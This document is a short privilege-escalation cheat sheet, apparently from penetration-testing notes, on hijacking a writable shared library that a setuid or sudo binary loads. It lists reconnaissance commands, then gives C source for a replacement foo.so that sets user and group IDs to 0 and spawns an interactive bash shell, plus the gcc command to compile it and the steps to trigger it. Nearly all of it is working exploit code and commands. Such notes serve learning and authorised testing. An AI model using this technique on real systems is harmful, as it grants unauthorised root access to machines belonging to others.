Investigation

When we find the binary file as setuid or sudo command, check the strings of the binary file.

strings ./example
strace ./example
gdb ./example

...
foo.so
...

If the binary file uses a shared library (e.g. foo.so) and this library can be modified, we can update it and get a root shell.

find / -type f -name "foo.so" 2>/dev/null
ls -al /path/to/foo.so

drwxrwxrwx 1 user user 64 Dec 15 09:13 foo.so

Exploitation

Create "foo.c".

#include <stdlib.h>
#include <unistd.h>

void foo() {
    setuid(0);
    setgid(0);
    system("/bin/bash -i");
}

Then compile it to shared object.

gcc -shared -fPIC -nostartfiles -o foo.so foo.c

Put the shared file to /path/to/foo.so .
Now run the binary.

./example
# or
sudo ./example

We should get a root shell.